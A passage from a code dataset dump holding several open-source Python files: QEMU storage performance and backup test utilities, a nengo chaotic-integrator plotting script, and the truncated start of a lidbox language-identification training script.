record.update_entry()\n \n if time.time() - interval_time > interval:\n send_records(patient_records, object_name, bucket_name)\n interval_time = time.time()\n \n # time.sleep(0.5)\n elapsed_time = time.time() - start_time\n \n return patient_records","repo_name":"GarrettDaniel/hospital-patient-simulation","sub_path":"health-data-simulation/data-simulator/utility_functions.py","file_name":"utility_functions.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"6950411383","text":"import re\n\nfrom avocado.utils import process\n\nfrom virttest import data_dir\nfrom virttest import error_context\nfrom virttest.qemu_storage import QemuImg\n\n\n@error_context.context_aware\ndef run(test, params, env):\n \"\"\"\n Run qcow2 performance tests:\n 1. Create image with given parameters\n 2. Write to the image to prepare a certain size image\n 3. Do one operations to the image and measure the time\n 4. Record the results\n\n :param test: QEMU test object\n :param params: Dictionary with the test parameters\n :param env: Dictionary with test environment.\n \"\"\"\n image_chain = params.get(\"image_chain\")\n test_image = int(params.get(\"test_image\", \"0\"))\n interval_size = params.get(\"interval_szie\", \"64k\")\n write_round = int(params.get(\"write_round\", \"16384\"))\n op_type = params.get(\"op_type\")\n new_base = params.get(\"new_base\")\n writecmd = params.get(\"writecmd\")\n iocmd = params.get(\"iocmd\")\n opcmd = params.get(\"opcmd\")\n io_options = params.get(\"io_options\", \"n\")\n cache_mode = params.get(\"cache_mode\")\n image_dir = data_dir.get_data_dir()\n\n if not re.match(r\"\\d+\", interval_size[-1]):\n write_unit = interval_size[-1]\n interval_size = int(interval_size[:-1])\n else:\n interval_size = int(interval_size)\n write_unit = \"\"\n\n error_context.context(\"Init images for testing\", test.log.info)\n sn_list = []\n for img in re.split(r\"\\s+\", image_chain.strip()):\n image_params = params.object_params(img)\n sn_tmp = QemuImg(image_params, image_dir, img)\n sn_tmp.create(image_params)\n sn_list.append((sn_tmp, image_params))\n\n # Write to the test image\n error_context.context(\"Prepare the image with write a certain size block\",\n test.log.info)\n dropcache = 'echo 3 > /proc/sys/vm/drop_caches && sleep 5'\n snapshot_file = sn_list[test_image][0].image_filename\n\n if op_type != \"writeoffset1\":\n offset = 0\n writecmd0 = writecmd % (write_round, offset, interval_size,\n write_unit, interval_size, write_unit)\n iocmd0 = iocmd % (writecmd0, io_options, snapshot_file)\n test.log.info(\"writecmd-offset-0: %s\", writecmd0)\n process.run(dropcache, shell=True)\n output = process.run(iocmd0, shell=True)\n else:\n offset = 1\n writecmd1 = writecmd % (write_round, offset, interval_size,\n write_unit, interval_size, write_unit)\n iocmd1 = iocmd % (writecmd1, io_options, snapshot_file)\n test.log.info(\"writecmd-offset-1: %s\", writecmd1)\n process.run(dropcache, shell=True)\n output = process.run(iocmd1, shell=True)\n\n error_context.context(\"Do one operations to the image and \"\n \"measure the time\", test.log.info)\n\n if op_type == \"read\":\n readcmd = opcmd % (io_options, snapshot_file)\n test.log.info(\"read: %s\", readcmd)\n process.run(dropcache, shell=True)\n output = process.run(readcmd, shell=True)\n elif op_type == \"commit\":\n commitcmd = opcmd % (cache_mode, snapshot_file)\n test.log.info(\"commit: %s\", commitcmd)\n process.run(dropcache, shell=True)\n output = process.run(commitcmd, shell=True)\n elif op_type == \"rebase\":\n new_base_img = QemuImg(params.object_params(new_base), image_dir,\n new_base)\n new_base_img.create(params.object_params(new_base))\n rebasecmd = opcmd % (new_base_img.image_filename,\n cache_mode, snapshot_file)\n test.log.info(\"rebase: %s\", rebasecmd)\n process.run(dropcache, shell=True)\n output = process.run(rebasecmd, shell=True)\n elif op_type == \"convert\":\n convertname = sn_list[test_image][0].image_filename + \"_convert\"\n convertcmd = opcmd % (snapshot_file, cache_mode, convertname)\n test.log.info(\"convert: %s\", convertcmd)\n process.run(dropcache, shell=True)\n output = process.run(convertcmd, shell=True)\n\n error_context.context(\"Result recording\", test.log.info)\n result_file = open(\"%s/%s_%s_results\" %\n (test.resultsdir, \"qcow2perf\", op_type), 'w')\n result_file.write(\"%s:%s\\n\" % (op_type, output))\n test.log.info(\"%s takes %s\", op_type, output)\n result_file.close()\n","repo_name":"autotest/tp-qemu","sub_path":"qemu/tests/qcow2perf.py","file_name":"qcow2perf.py","file_ext":"py","file_size_in_byte":4359,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"11"} +{"seq_id":"20752941167","text":"# Adapted from https://forum.nengo.ai/t/robustness-of-deneves-networks/320/3\n\nfrom phd import *\n\ndef go(n_neurons=10, perturb=0, perturb_T=0.001, T=5.0, dt=1e-4,\n tau=0.005, seed=0, solver=nengo.solvers.LstsqL2(reg=1.0),\n sample_every=0.02):\n\n with nengolib.Network(seed=seed) as model:\n stim = nengo.Node(output=lambda t: perturb if t <= perturb_T else 0)\n \n x = nengo.Ensemble(n_neurons, 1, seed=seed)\n nengo.Connection(stim, x, synapse=None)\n nengo.Connection(x, x, synapse=tau, solver=solver)\n\n p_voltage = nengo.Probe(x.neurons, 'voltage', sample_every=sample_every)\n p_x = nengo.Probe(x, synapse=tau, sample_every=sample_every)\n \n with nengo.Simulator(model, dt=dt, seed=seed) as sim:\n sim.run(T)\n \n return sim.trange(dt=sample_every), sim.data[p_voltage], sim.data[p_x]\n\n\nt, v1, x1 = go()\n\nx0 = -15\n_, v2, x2 = go(perturb=10**x0)\n\ndelta = np.log(np.linalg.norm(v1 - v2, axis=1))\n\nt1 = 0\nt2 = 147\nd1 = delta[t1]\nd2 = delta[t2]\ntlim = t <= 5.0\nlyap = (d2 - d1) / (t[t2] - t[t1])\n\ncolors = sns.color_palette(None, 6)\n\nfig, axes = plt.subplots(1, 2, figsize=(14, 4))\n\naxes[0].plot(t, x1, c=colors[0], alpha=0.5, label=\"$x_1$\") #(0) = 0$\")\naxes[0].plot(t, x2, c=colors[1], alpha=0.5, label=\"$x_2$\") #(0) = 10^{%d}$\" % x0)\naxes[0].set_ylabel(r\"$x(t)$\")\naxes[0].set_ylim(-1, 1)\naxes[0].set_xlabel(\"Time (s)\")\naxes[0].legend(loc='upper right')\n\nl1 = axes[1].plot(t[tlim], delta[tlim],\n alpha=0.5, c='black', label=r\"$\\delta$\")\nl2 = axes[1].plot((t[t1], t[t2]), (d1, d2), linestyle='--',\n c=colors[2], lw=3,\n label=r\"$\\lambda \\approx %.1f$ s${}^{-1}$\" % lyap)\naxes[1].set_ylabel(r\"$ln \\|| \\delta(t) \\||$\")\naxes[1].set_xlabel(\"Time (s)\")\n\naxes2 = axes[1].twinx()\nl3 = axes2.plot(t[tlim], x1[tlim] - x2[tlim], c=colors[3],\n label=r\"$\\Delta$\")\naxes2.set_frame_on(False)\naxes2.set_ylim(-0.5, 0.5)\naxes2.set_ylabel(r\"$\\Delta(t)$\")\n\nlns = l1 + l2 + l3\nlabs = [l.get_label() for l in lns]\naxes[1].legend(lns, labs, loc='upper left')\n\noffset = 10\naxes2.spines['right'].set_position(('outward', offset))\nsns.despine(offset=offset, ax=axes[0])\nsns.despine(offset=offset, ax=axes[1], right=False)\n\nsavefig(\"chaotic-integrator.pdf\")\n\nprint(1/lyap)\n","repo_name":"arvoelke/phd","sub_path":"code/chaotic-integrator.py","file_name":"chaotic-integrator.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"6944342743","text":"import json\nimport math\nimport random\nimport re\n\nfrom avocado import fail_on\nfrom avocado.utils import process\n\nfrom virttest import data_dir\nfrom virttest import qemu_storage\nfrom virttest import utils_libguestfs\nfrom virttest import utils_numeric\nfrom virttest import utils_misc\nfrom virttest import utils_disk\n\nfrom provider import block_dirty_bitmap as block_bitmap\nfrom provider.virt_storage.storage_admin import sp_admin\nfrom provider import job_utils\n\n\ndef generate_log2_value(start, end, step=1, blacklist=None):\n if blacklist is None:\n blacklist = list()\n outlist = list(\n filter(\n lambda x: math.log2(x).is_integer(),\n range(\n start,\n end,\n step)))\n pool = set(outlist) - set(blacklist)\n return random.choice(list(pool))\n\n\ndef generate_random_cluster_size(blacklist):\n \"\"\"\n generate valid value for cluster size\n :param blacklist: black list of cluster_size value\n :return: int type valid cluster size\n \"\"\"\n return generate_log2_value(512, 2097152, 1, blacklist)\n\n\ndef copy_out_dict_if_exists(params_in, keys):\n \"\"\"\n get sub-dict from by keys\n\n :param params_in: original dict\n :param keys: list or dict, key list or key with default value\n :return dict: sub-dict of params_in\n \"\"\"\n params_out = dict()\n if not isinstance(params_in, dict):\n params_in = dict()\n if isinstance(keys, list):\n keys = params_in.fromkeys(keys, None)\n for key, default in keys.items():\n val = params_in.get(key, default)\n if val is None:\n continue\n if key in [\"speed\", \"granularity\", \"buf-size\", \"timeout\"]:\n params_out[key] = int(val)\n continue\n if key in [\"auto-finalize\", \"auto-dismiss\", \"unmap\", \"persistent\"]:\n if val in [\"yes\", \"true\", \"on\", True]:\n params_out[key] = True\n continue\n elif val in [\"no\", \"false\", \"off\", False]:\n params_out[key] = False\n continue\n params_out[key] = val\n return params_out\n\n\n@fail_on\ndef generate_tempfile(vm, root_dir, filename, size=\"10M\", timeout=720):\n \"\"\"Generate temp data file in VM\"\"\"\n session = vm.wait_for_login()\n if vm.params[\"os_type\"] == \"windows\":\n file_path = \"%s\\\\%s\" % (root_dir, filename)\n mk_file_cmd = \"fsutil file createnew %s %s\" % (file_path, size)\n md5_cmd = \"certutil -hashfile %s MD5 > %s.md5\" % (file_path, file_path)\n else:\n file_path = \"%s/%s\" % (root_dir, filename)\n count = int(\n utils_numeric.normalize_data_size(\n size,\n order_magnitude=\"M\",\n factor=1024))\n dd_cmd = vm.params.get(\n \"dd_cmd\", \"dd if=/dev/urandom of=%s bs=1M count=%s oflag=direct\")\n mk_file_cmd = dd_cmd % (file_path, count)\n md5_cmd = \"md5sum %s > %s.md5 && sync\" % (file_path, file_path)\n try:\n session.cmd(mk_file_cmd, timeout=timeout)\n session.cmd(md5_cmd, timeout=timeout)\n finally:\n session.close()\n\n\n@fail_on\ndef verify_file_md5(vm, root_dir, filename, timeout=720):\n if vm.params[\"os_type\"] == \"windows\":\n file_path = \"%s\\\\%s\" % (root_dir, filename)\n md5_cmd = \"certutil -hashfile %s MD5\" % file_path\n cat_cmd = \"type %s.md5\" % file_path\n else:\n file_path = \"%s/%s\" % (root_dir, filename)\n md5_cmd = \"md5sum %s\" % file_path\n cat_cmd = \"cat %s.md5\" % file_path\n\n session = vm.wait_for_login()\n try:\n status1, output1 = session.cmd_status_output(md5_cmd, timeout=timeout)\n now = output1.strip()\n assert status1 == 0, \"Get file ('%s') MD5 with error: %s\" % (\n filename, output1)\n status2, output2 = session.cmd_status_output(cat_cmd, timeout=timeout)\n saved = output2.strip()\n assert status2 == 0, \"Read file ('%s') MD5 file with error: %s\" % (\n filename, output2)\n assert now == saved, \"File's ('%s') MD5 is mismatch! (%s, %s)\" % (\n filename, now, saved)\n finally:\n session.close()\n\n\ndef blockdev_snapshot_qmp_cmd(source, target, **extra_options):\n options = [\n \"node\",\n \"overlay\"]\n arguments = copy_out_dict_if_exists(extra_options, options)\n arguments[\"node\"] = source\n arguments[\"overlay\"] = target\n return \"blockdev-snapshot\", arguments\n\n\ndef blockdev_mirror_qmp_cmd(source, target, **extra_options):\n random_id = utils_misc.generate_random_string(4)\n job_id = \"%s_%s\" % (source, random_id)\n options = [\n \"format\",\n \"node-name\",\n \"replaces\",\n \"sync\",\n \"mode\",\n \"granularity\",\n \"speed\",\n \"copy-mode\",\n \"buf-size\",\n \"on-source-error\",\n \"on-target-error\",\n \"auto-finalize\",\n \"auto-dismiss\",\n \"filter-node-name\",\n \"unmap\"]\n arguments = copy_out_dict_if_exists(extra_options, options)\n arguments[\"device\"] = source\n arguments[\"target\"] = target\n arguments[\"job-id\"] = job_id\n return \"blockdev-mirror\", arguments\n\n\ndef block_commit_qmp_cmd(device, **extra_options):\n random_id = utils_misc.generate_random_string(4)\n job_id = \"%s_%s\" % (device, random_id)\n options = [\n 'base-node',\n 'base',\n 'top-node',\n 'top',\n 'backing-file',\n 'speed',\n 'on-error',\n 'filter-node-name',\n 'auto-finalize',\n 'auto-dismiss']\n arguments = copy_out_dict_if_exists(extra_options, options)\n arguments[\"device\"] = device\n arguments[\"job-id\"] = job_id\n return \"block-commit\", arguments\n\n\ndef blockdev_stream_qmp_cmd(device, **extra_options):\n if not isinstance(extra_options, dict):\n extra_options = dict()\n random_id = utils_misc.generate_random_string(4)\n job_id = \"%s_%s\" % (device, random_id)\n arguments = {\"device\": device, \"job-id\": job_id}\n # TODO: we may have to sync the block-stream options with libvirt\n options = [\"speed\", \"base\", \"base-node\", \"snapshot-file\",\n \"filter-node-name\", \"on-error\", \"backing-file\",\n \"auto-dismiss\", \"auto-finalize\"]\n args = copy_out_dict_if_exists(extra_options, options)\n if args:\n arguments.update(args)\n return \"block-stream\", arguments\n\n\ndef blockdev_backup_qmp_cmd(source, target, **extra_options):\n \"\"\"Generate blockdev-backup command\"\"\"\n if not isinstance(extra_options, dict):\n extra_options = dict()\n random_id = utils_misc.generate_random_string(4)\n job_id = \"%s_%s\" % (source, random_id)\n arguments = {\"device\": source, \"target\": target, \"job-id\": job_id}\n arguments[\"sync\"] = extra_options.get(\"sync\", \"full\")\n arguments[\"speed\"] = int(extra_options.get(\"speed\", 0))\n arguments[\"compress\"] = extra_options.get(\"compress\", False)\n arguments[\"auto-finalize\"] = extra_options.get(\"auto-finalize\", True)\n arguments[\"auto-dismiss\"] = extra_options.get(\"auto-dismiss\", True)\n arguments[\"on-source-error\"] = extra_options.get(\n \"on-source-error\", \"report\")\n arguments[\"on-target-error\"] = extra_options.get(\n \"on-target-error\", \"report\")\n if \"bitmap\" in extra_options:\n arguments[\"bitmap\"] = extra_options[\"bitmap\"]\n if \"bitmap-mode\" in extra_options:\n arguments[\"bitmap-mode\"] = extra_options[\"bitmap-mode\"]\n if \"filter-node-name\" in extra_options:\n arguments[\"filter-node-name\"] = extra_options[\"filter-node-name\"]\n x_perf_ops = [\"use-copy-range\", \"max-workers\", \"max-chunk\"]\n if any(item in extra_options for item in x_perf_ops):\n arguments[\"x-perf\"] = {x: extra_options[x]\n for x in x_perf_ops\n if x in extra_options}\n return \"blockdev-backup\", arguments\n\n\n@fail_on\ndef blockdev_create(vm, **options):\n timeout = int(options.pop(\"timeout\", 360))\n vm.monitor.cmd(\"blockdev-create\", options)\n job_utils.job_dismiss(vm, options[\"job-id\"], timeout)\n\n\n@fail_on\ndef blockdev_snapshot(vm, source, target, **extra_options):\n cmd, arguments = blockdev_snapshot_qmp_cmd(source, target, **extra_options)\n out = vm.monitor.cmd(cmd, arguments)\n assert out == {}, 'blockdev-snapshot-sync faild: %s' % out\n\n\n@fail_on\ndef blockdev_mirror_nowait(vm, source, target, **extra_options):\n \"\"\"Don't wait mirror completed, return job id\"\"\"\n cmd, arguments = blockdev_mirror_qmp_cmd(source, target, **extra_options)\n vm.monitor.cmd(cmd, arguments)\n return arguments.get(\"job-id\", source)\n\n\n@fail_on\ndef blockdev_mirror(vm, source, target, **extra_options):\n timeout = int(extra_options.pop(\"timeout\", 600))\n job_id = blockdev_mirror_nowait(vm, source, target, **extra_options)\n job_utils.wait_until_block_job_completed(vm, job_id, timeout)\n\n\n@fail_on\ndef block_commit(vm, device, **extra_options):\n cmd, arguments = block_commit_qmp_cmd(device, **extra_options)\n timeout = int(extra_options.pop(\"timeout\", 600))\n vm.monitor.cmd(cmd, arguments)\n job_id = arguments.get(\"job-id\", device)\n job_utils.wait_until_block_job_completed(vm, job_id, timeout)\n\n\n@fail_on\ndef blockdev_stream_nowait(vm, device, **extra_options):\n \"\"\"Do block-stream and don't wait stream completed, return job id\"\"\"\n cmd, arguments = blockdev_stream_qmp_cmd(device, **extra_options)\n vm.monitor.cmd(cmd, arguments)\n return arguments.get(\"job-id\", device)\n\n\n@fail_on\ndef blockdev_stream(vm, device, **extra_options):\n \"\"\"Do block-stream and wait stream completed\"\"\"\n timeout = int(extra_options.pop(\"timeout\", 600))\n job_id = blockdev_stream_nowait(vm, device, **extra_options)\n job_utils.wait_until_block_job_completed(vm, job_id, timeout)\n\n\n@fail_on\ndef blockdev_backup(vm, source, target, **extra_options):\n cmd, arguments = blockdev_backup_qmp_cmd(source, target, **extra_options)\n timeout = int(extra_options.pop(\"timeout\", 600))\n if \"bitmap\" in arguments:\n info = block_bitmap.get_bitmap_by_name(vm, source, arguments[\"bitmap\"])\n assert info, \"Bitmap '%s' not exists in device '%s'\" % (\n arguments[\"bitmap\"], source)\n auto_disable_bitmap = extra_options.pop(\"auto_disable_bitmap\", True)\n if auto_disable_bitmap and info.get(\"status\") != \"disabled\":\n block_bitmap.block_dirty_bitmap_disable(\n vm, source, arguments[\"bitmap\"])\n vm.monitor.cmd(cmd, arguments)\n job_id = arguments.get(\"job-id\", source)\n job_utils.wait_until_block_job_completed(vm, job_id, timeout)\n\n\n@fail_on\ndef blockdev_batch_snapshot(vm, source_lst, target_lst, **extra_options):\n actions = []\n timeout = int(extra_options.pop(\"timeout\", 600))\n jobs_id = []\n for idx, src in enumerate(source_lst):\n snapshot_cmd, arguments = blockdev_snapshot_qmp_cmd(\n src, target_lst[idx], **extra_options)\n actions.append({\"type\": snapshot_cmd, \"data\": arguments})\n arguments = {\"actions\": actions}\n vm.monitor.cmd(\"transaction\", arguments)\n list(map(lambda x: job_utils.wait_until_block_job_completed(vm, x, timeout), jobs_id))\n\n\n@fail_on\ndef blockdev_batch_backup(vm, source_lst, target_lst,\n bitmap_lst, **extra_options):\n actions = []\n jobs_id = []\n bitmap_add_cmd = \"block-dirty-bitmap-add\"\n timeout = int(extra_options.pop(\"timeout\", 600))\n completion_mode = extra_options.pop(\"completion_mode\", None)\n sync_mode = extra_options.get(\"sync\")\n\n # we can disable dirty-map in a transaction\n bitmap_disable_cmd = \"block-dirty-bitmap-disable\"\n disabled_bitmap_lst = extra_options.pop(\"disabled_bitmaps\", None)\n\n # sometimes the job will never complete, e.g. backup in pull mode,\n # export fleecing image by internal nbd server\n wait_job_complete = extra_options.pop(\"wait_job_complete\", True)\n\n for idx, src in enumerate(source_lst):\n if sync_mode in [\"incremental\", \"bitmap\"]:\n assert len(bitmap_lst) == len(\n source_lst), \"must provide a valid bitmap name for 'incremental' sync mode\"\n extra_options[\"bitmap\"] = bitmap_lst[idx]\n backup_cmd, arguments = blockdev_backup_qmp_cmd(\n src, target_lst[idx], **extra_options)\n job_id = arguments.get(\"job-id\", src)\n jobs_id.append(job_id)\n actions.append({\"type\": backup_cmd, \"data\": arguments})\n\n if bitmap_lst and (sync_mode == 'full' or sync_mode == 'none'):\n bitmap_data = {\"node\": source_lst[idx], \"name\": bitmap_lst[idx]}\n granularity = extra_options.get(\"granularity\")\n persistent = extra_options.get(\"persistent\")\n disabled = extra_options.get(\"disabled\")\n if granularity is not None:\n bitmap_data[\"granularity\"] = int(granularity)\n if persistent is not None:\n bitmap_data[\"persistent\"] = persistent\n if disabled is not None:\n bitmap_data[\"disabled\"] = disabled\n actions.append({\"type\": bitmap_add_cmd, \"data\": bitmap_data})\n\n if disabled_bitmap_lst:\n bitmap_data = {\"node\": source_lst[idx],\n \"name\": disabled_bitmap_lst[idx]}\n actions.append({\"type\": bitmap_disable_cmd, \"data\": bitmap_data})\n\n arguments = {\"actions\": actions}\n if completion_mode == 'grouped':\n arguments['properties'] = {\"completion-mode\": \"grouped\"}\n vm.monitor.cmd(\"transaction\", arguments)\n\n if wait_job_complete:\n list(map(\n lambda x: job_utils.wait_until_block_job_completed(vm, x, timeout),\n jobs_id))\n\n\n@fail_on\ndef incremental_backup(vm, source, target, bitmap, **extra_options):\n \"\"\"\n Do incremental backup with bitmap\n\n :param vm: VM object\n :param source: device ID or node-name\n :param target: target device node-name or ID\n :params bitmap: bitmap name on source device\n :param extra_options: extra arguments for blockdev-backup command\n \"\"\"\n if extra_options is None:\n extra_options = dict()\n extra_options[\"sync\"] = \"incremental\"\n extra_options[\"bitmap\"] = bitmap\n return blockdev_backup(vm, source, target, **extra_options)\n\n\n@fail_on\ndef full_backup(vm, source, target, **extra_options):\n \"\"\" Do full backup for node\"\"\"\n if extra_options is None:\n extra_options = dict()\n extra_options[\"sync\"] = \"full\"\n return blockdev_backup(vm, source, target, **extra_options)\n\n\ndef create_image_by_params(vm, params, image_name):\n \"\"\"Create blockd device with vm by params\"\"\"\n image = sp_admin.volume_define_by_params(image_name, params)\n vm.verify_alive()\n image.hotplug(vm)\n return image\n\n\ndef create_image_with_data_file(vm, params, image_name):\n \"\"\"\n Create image with data_file\n :param vm: vm object\n :param params: params used to create data_file\n :image_name: image that created on data_file_image\n :return list: data_file image list\n \"\"\"\n image_list = []\n image_params = params.object_params(image_name)\n data_file_tag = image_params.get(\"image_data_file\")\n if data_file_tag:\n data_file_image = sp_admin.volume_define_by_params(data_file_tag, params)\n data_file_image.hotplug(vm)\n image_list.append(data_file_image)\n image = sp_admin.volume_define_by_params(image_name, params)\n image.hotplug(vm)\n image_list.append(image)\n return image_list\n\n\ndef format_storage_volume(img, filesystem, partition=\"mbr\"):\n \"\"\"\n format data disk with virt-format\n :param img: qemuImg object will be format\n :param filesystem: filesystem want to make\n :param partition: partition type MBR or GPT\n \"\"\"\n selinux_mode = process.getoutput(\"getenforce\", shell=True)\n try:\n process.system(\"setenforce 0\", shell=True)\n utils_libguestfs.virt_format(\n img.image_filename,\n filesystem=filesystem,\n image_format=img.image_format,\n partition=\"mbr\")\n finally:\n process.system(\"setenforce %s\" % selinux_mode, shell=True)\n\n\ndef copyif(params, nbd_image, target_image, bitmap=None):\n \"\"\"\n Python implementation of copyif3.sh\n :params params: utils_params.Params object\n :params nbd_image: nbd image tag\n :params target_image: target image tag\n :params bitmap: bitmap name\n \"\"\"\n def _qemu_io_read(qemu_io, s, l, img):\n cmd = '{io} -C -c \"r {s} {l}\" -f {fmt} {f}'.format(\n io=qemu_io, s=s, l=l, fmt=img.image_format,\n f=img.image_filename\n )\n process.system(cmd, ignore_status=False, shell=True)\n\n qemu_io = utils_misc.get_qemu_io_binary(params)\n qemu_img = utils_misc.get_qemu_img_binary(params)\n img_obj = qemu_storage.QemuImg(params.object_params(target_image),\n data_dir.get_data_dir(), target_image)\n nbd_img_obj = qemu_storage.QemuImg(params.object_params(nbd_image),\n None, nbd_image)\n max_len = int(params.get('qemu_io_max_len', 2147483136))\n\n if bitmap is None:\n args = '-f %s %s' % (nbd_img_obj.image_format,\n nbd_img_obj.image_filename)\n state = True\n else:\n opts = qemu_storage.filename_to_file_opts(\n nbd_img_obj.image_filename)\n opt = params.get('dirty_bitmap_opt', 'x-dirty-bitmap')\n opts[opt] = 'qemu:dirty-bitmap:%s' % bitmap\n args = \"'json:%s'\" % json.dumps(opts)\n state = False\n\n img_obj.base_image_filename = nbd_img_obj.image_filename\n img_obj.base_format = nbd_img_obj.image_format\n img_obj.base_tag = nbd_img_obj.tag\n img_obj.rebase(img_obj.params)\n\n map_cmd = '{qemu_img} map --output=json {args}'.format(\n qemu_img=qemu_img, args=args)\n result = process.run(map_cmd, ignore_status=False, shell=True)\n\n for item in json.loads(result.stdout.decode().strip()):\n if item['data'] is not state:\n continue\n\n # qemu-io can only handle length less than 2147483136,\n # so here we need to split 'large length' into several parts\n start, length = item['start'], item['length']\n while length > max_len:\n _qemu_io_read(qemu_io, start, max_len, img_obj)\n start, length = start+max_len, length-max_len\n else:\n if length > 0:\n _qemu_io_read(qemu_io, start, length, img_obj)\n\n img_obj.base_tag = 'null'\n img_obj.rebase(img_obj.params)\n\n\ndef get_disk_info_by_param(tag, params, session):\n \"\"\"\n Get disk info by by serial/wwn or by size.\n\n For most cases, only one data disk is used, we can use disk size to find\n it; if there are more than one, we should set the same wwn/serial for each\n data disk and its target, e.g.\n blk_extra_params_data1 = \"serial=DATA_DISK1\"\n blk_extra_params_mirror1 = \"serial=DATA_DISK1\"\n blk_extra_params_data2 = \"serial=DATA_DISK2\"\n blk_extra_params_mirror2 = \"serial=DATA_DISK2\"\n where mirror1/mirror2 are the mirror images of data1/data2, so when we\n restart vm with mirror1 and mirror2, we can find them by serials\n :param tag: image tag name\n :param params: Params object\n :param session: vm login session\n :return: The disk info dict(e.g. {'kname':xx, 'size':xx}) or None\n \"\"\"\n info = None\n drive_path = None\n image_params = params.object_params(tag)\n if image_params.get('blk_extra_params'):\n # get disk by serial or wwn\n # utils_disk.get_linux_disks can also get serial, but for\n # virtio-scsi ID_SERIAL is a long string including serial\n # e.g. ID_SERIAL=0QEMU_QEMU_HARDDISK_DATA_DISK2 instead of\n # ID_SERIAL=DATA_DISK2\n m = re.search(r\"(serial|wwn)=(\\w+)\",\n image_params[\"blk_extra_params\"], re.M)\n if m is not None:\n drive_path = utils_misc.get_linux_drive_path(session, m.group(2))\n\n if drive_path:\n info = {'kname': drive_path[5:], 'size': image_params['image_size']}\n else:\n # get disk by disk size\n conds = {'type': image_params.get('disk_type', 'disk'),\n 'size': image_params['image_size']}\n disks = utils_disk.get_linux_disks(session, True)\n for kname, attr in disks.items():\n d = dict(zip(['kname', 'size', 'type'], attr))\n if all([conds[k] == d[k] for k in conds]):\n info = d\n break\n return info\n\n\n@fail_on\ndef refresh_mounts(mounts, params, session):\n \"\"\"\n Refresh mounts with the correct device and its mount point.\n\n Device name may change when restarting vm with the target images on RHEL9\n (e.g. start vm with mirror/snapshot/backup image as its data images)\n :param mounts: {tag, [dev path(e.g. /dev/sdb1), mnt(e.g. /mnt/sdb1)], ...}\n :param params: Params object\n :param session: vm login session\n \"\"\"\n # always refresh disks info when count of data disks >= 1\n for tag, mount in mounts.items():\n if tag == 'image1':\n continue\n info = get_disk_info_by_param(tag, params, session)\n assert info, 'Failed to get the kname for device: %s' % tag\n mount[0] = '/dev/%s1' % info['kname']\n","repo_name":"autotest/tp-qemu","sub_path":"provider/backup_utils.py","file_name":"backup_utils.py","file_ext":"py","file_size_in_byte":21149,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"11"} +{"seq_id":"4334865109","text":"import numpy as np\nimport tensorflow as tf\nimport os\nimport pandas as pd\nimport miniaudio\nimport lidbox.models.xvector as xvector\nTF_AUTOTUNE = tf.data.experimental.AUTOTUNE\n\nimport dataset_processing as dp\nimport audio_processing as ap\n\n# consistent random seeds\nnp_rng = np.random.default_rng(1)\ntf.random.set_seed(np_rng.integers(0, tf.int64.max))\n\n# classification labels, for our case this is a list of languages\n# estonian, mongolion, tamil, turkish\nlanguages = \"\"\"\n et\n mn\n ta\n tr\n\"\"\".split()\nlanguages = sorted(l.strip() for l in languages)\n\n''' Set your output and input directories here '''\n# input contains datasets, output contains model checkpoints and exports\ninput_dir = \"../lidbox/data/cv-corpus\"\noutput_dir = \"./output/data/exp/cv4\"\n\n# assert that the directories exist\nos.makedirs(output_dir, exist_ok=True)\nassert os.path.isdir(input_dir), input_dir + \" does not exist\"\n\n# validating the language code list against the data directory\ndirs = sorted((f for f in os.scandir(input_dir) if f.is_dir()), key=lambda f: f.name)\nmissing_languages = set(languages) - set(d.name for d in dirs)\nassert missing_languages == set(), \"missing languages: {}\".format(missing_languages)\n\n# maps labels to ordered numbers\ntarget2lang = tuple(sorted(languages))\nlang2target = {lang: target for target, lang in enumerate(target2lang)}\n\n\n''' Dataset Processing for batch training '''\n# we need to split the dataset into three sections\nsplit_names = (\"train\", \"dev\", \"test\")\n\n# class used for dataset processing methods\ndf = dp.dataframe_processing(input_dir, lang2target)\n\n# Concatenate metadata for all 4 languages into a single table for each split\nsplits = [pd.concat([df.tsv_to_lang_dataframe(lang, split) for lang in target2lang])\n for split in split_names]\n\n# Concatenate split metadata into a single table, indexed by utterance ids\nmeta = (pd.concat(splits)\n .set_index(\"id\", drop=True, verify_integrity=True)\n .sort_index())\ndel splits\n\n\ndf.assert_splits_disjoint_by_speaker(meta, split_names)\n\n# checking that all audio files exist\nfor uttid, row in meta.iterrows():\n assert os.path.exists(row[\"path\"]), row[\"path\"] + \" does not exist\"\nprint(\"all audio files exist\")\n\n# adding duration to the metadata\nmeta[\"duration\"] = np.array([\n miniaudio.mp3_get_file_info(path).duration for path in meta.path], np.float32)\n\n\n# Augment training set metadata\nmeta = pd.concat([dp.random_oversampling(meta[meta[\"split\"]==\"train\"], np_rng), meta]).sort_index()\n\nassert not meta.isna().any(axis=None), \"NaNs in metadata after augmentation\"\ndf.assert_splits_disjoint_by_speaker(meta, split_names)\n\n# at this point the dataset is sufficiently sorted\n\n\n\n''' Model pipelines and methods '''\n\ndef pipeline_from_metadata(data, shuffle=False):\n \"\"\"\n\tFull pipeline from audio metadata into input usable by the NN.\n\tNote the use of ap, the audio_processing file that contains all methods for audio processing\n\t\"\"\"\n if shuffle:\n # Shuffle metadata to get an even distribution of labels\n data = data.sample(frac=1, random_state=np_rng.bit_generator)\n ds = (\n # Initialize dataset from metadata\n tf.data.Dataset.from_tensor_slices(dp.metadata_to_dataset_input(data))\n # Read mp3 files from disk in parallel\n .map(ap.read_mp3_wrapper, num_parallel_calls=TF_AUTOTUNE)\n # Apply RMS VAD to drop silence from all signals\n .map(ap.remove_silence_wrapper, num_parallel_calls=TF_AUTOTUNE)\n # Drop signals that VAD removed completely\n .filter(ap.signal_is_not_empty)\n # Extract features in parallel\n .batch(1)\n .map(ap.batch_extract_features, num_parallel_calls=TF_AUTOTUNE)\n .unbatch()\n )\n return ds\n\n# grabs the correct input type (logmelspec vs mfcc)\ndef as_model_input(x):\n return x[model_input_type], x[\"target\"]\n\n\ndef create_model(num_freq_bins, num_labels):\n \"\"\"\n Creates the model to train on from a tf Keras model.\n \"\"\"\n model = xvector.create([None, num_freq_bins], num_labels, channel_dropout_rate=0.8)\n model.compile(\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n 